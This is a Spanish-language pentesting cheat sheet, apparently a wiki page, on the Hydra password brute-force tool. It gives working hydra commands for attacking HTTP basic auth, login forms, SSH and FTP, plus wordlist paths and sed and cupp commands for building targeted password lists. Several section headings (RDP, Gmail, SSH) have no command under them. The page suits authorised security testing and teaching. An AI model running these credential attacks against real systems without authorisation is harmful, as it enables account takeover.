Page cover

🐍Hydra

Hydra es una herramienta de fuerza bruta de código abierto que se utiliza para probar la seguridad de contraseñas en una amplia variedad de servicios de red, como FTP, SSH, Telnet, HTTP...

Instalación

Para utilizar Hydra en Kali Linux, sigue los siguientes pasos:

  1. Abre la terminal en Kali Linux.

  2. Instala Hydra utilizando el siguiente comando:

  1. Verifica que Hydra esté instalado utilizando el siguiente comando:

  1. Identifica el servicio que deseas probar con Hydra. Hydra es compatible con una amplia variedad de servicios de red, incluyendo FTP, SSH, Telnet, HTTP y más.

Ejemplos

  • -l Usuario que sabemos.

  • -L Usuario que no sabemos (usar diccionario)

  • -p Contraseña que sabemos

  • -P Contraseña que no sabemos (usar diccionario)

  • http:// especifica el servicio que se está probando y la dirección IP del servidor.

Bruteforce de contraseña con usuario que sabemos

Bruteforce de usuario y contraseña

Bruteforce de login

  • Analizar con BurpSuite si la petición se envía por GET o POST

  • Añadir el mensaje de error o el nombre del form para dar más info a hydra

  • Ejemplo completo

Bruteforce de SSH

Bruteforce de RDP

Bruteforce de login con PHPSESSID

Bruteforce a Gmail

Bruteforce generando contraseñas automáticamente

El comando hydra -x se utiliza en Hydra para realizar ataques de fuerza bruta generando automáticamente contraseñas basadas en un patrón definido por el usuario. Esta opción es útil cuando se tiene conocimiento sobre la estructura de las contraseñas y se desea probar diferentes combinaciones de caracteres.

La sintaxis básica del comando hydra -x es la siguiente:

  • <usuario>: Especifica el nombre de usuario objetivo.

  • <min> y <max>: Representan la longitud mínima y máxima de la contraseña a generar.

  • <patrón>: Define el patrón de generación de contraseñas. Puedes utilizar caracteres como "?" para representar espacios donde se generarán las combinaciones.

  • <protocolo>: Especifica el protocolo a atacar, como ftp, http, pop3, etc.

  • <objetivo>: La dirección del objetivo.

Por ejemplo, para realizar un ataque de fuerza bruta generando contraseñas de 6 a 8 caracteres alfanuméricos para un usuario "admin" en un servidor FTP, podrías usar el siguiente comando:

Guía rápida

Comando

Descripción

hydra -h

Menú de ayuda

hydra -C wordlist.txt SERVER_IP -s PORT http-get /

Fuerza bruta de autenticación básica - Lista de palabras combinada

hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get /

Fuerza bruta de autenticación básica - Listas de palabras de usuario/contraseña

hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"

Fuerza bruta de formulario de inicio de sesión - Usuario que sabemos + lista contraseñas

hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4

SSH Brute Force - Listas de palabras de usuario/contraseña

hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1

FTP Brute Force - Usuario que sabemos + lista contraseñas

Wordlists

Wordlist

Descripción

/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Wordlist de contraseñas por defecto

/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Wordlist de contraseñas comunes

/usr/share/seclists/Usernames/Names/names.txt

Wordlist de nombres comunes

Misc

Comando

Descripción

cupp -i

Crear diccionarios custom

sed -ri '/^.{,7}$/d' william.txt

Eliminar Passwords menores de 8 caracteres

sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt

Eliminar Passwords sin caracteres especiales

sed -ri '/[0-9]+/!d' william.txt

Eliminar Passwords sin números

./username-anarchy Bill Gates > bill.txt

Generar listado de Usernames

ssh b.gates@SERVER_IP -p PORT

Conectar por SSH a un host

ftp 127.0.0.1

Conectar por FTP a un host

su - user

Cambiar a usuario

Última actualización

¿Te fue útil?